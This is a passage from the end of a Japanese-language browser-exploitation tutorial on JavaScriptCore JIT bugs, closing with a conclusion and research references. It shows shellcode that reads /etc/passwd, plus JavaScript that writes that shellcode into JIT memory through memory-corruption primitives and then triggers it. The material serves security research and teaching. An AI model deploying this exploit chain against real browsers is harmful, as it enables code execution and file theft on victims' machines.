// シェルコード var shellcode = [0xeb, 0x3f, 0x5f, 0x80, 0x77, 0xb, 0x41, 0x48, 0x31, 0xc0, 0x4, 0x2, 0x48, 0x31, 0xf6, 0xf, 0x5, 0x66, 0x81, 0xec, 0xff, 0xf, 0x48, 0x8d, 0x34, 0x24, 0x48, 0x89, 0xc7, 0x48, 0x31, 0xd2, 0x66, 0xba, 0xff, 0xf, 0x48, 0x31, 0xc0, 0xf, 0x5, 0x48, 0x31, 0xff, 0x40, 0x80, 0xc7, 0x1, 0x48, 0x89, 0xc2, 0x48, 0x31, 0xc0, 0x4, 0x1, 0xf, 0x5, 0x48, 0x31, 0xc0, 0x4, 0x3c, 0xf, 0x5, 0xe8, 0xbc, 0xff, 0xff, 0xff, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x41]

var s = "A".repeat(64); var strAddr = addrof(s); var strData = Add(memory.read64(Add(strAddr, 16)), 20);

// シェルコードを書き込み shellcode.push(...strData.bytes()); memory.write(jitCodeAddr, shellcode);

// トリガーして /etc/passwd を取得 func(); print() #+end_example


  • 結論 :PROPERTIES: :CUSTOM_ID: conclusion :END: 私たちはブラウザの中で最も複雑な部分であるJavaScriptエンジンのエクスプロイトを実証しました。しかし、ブラウザは巨大です。DOMやWASMなど、他にも多くの攻撃対象があります。一部の研究者は、ブラウザで使用されるSQLデータベースのバグを見つけ、それがRCEに発展する可能性があることも発見しています。忍耐強く、創造的に取り組みましょう。

  • 参考文献 :PROPERTIES: :CUSTOM_ID: references :END:
  • /Groß S/, 2018, Black Hat USA, /"Attacking Client-Side JIT Compilers"/
  • /Han C/, [[https://github.com/tunz/js-vuln-db/][/"js-vuln-db"/]]
  • /Gianni A/ and /Heel1an S/, /"Exploit WebKit Heap"/
  • /Filip Pizlo/, http://www.filpizlo.com, 多くのプレゼンテーションに感謝!
  • /Groß S/, 2018, 35C3 CTF /WebKid Challenge/
  • /dwfault/, 2018, [[http://dwfault-blog.imwork.net:30916/2019/01/03/WebKit%20JavaScriptCore%E7%9A%84%E7%89%B9%E6%AE%8A%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7/][/WebKit デバッグのスキル/]]
ツールをダウンロード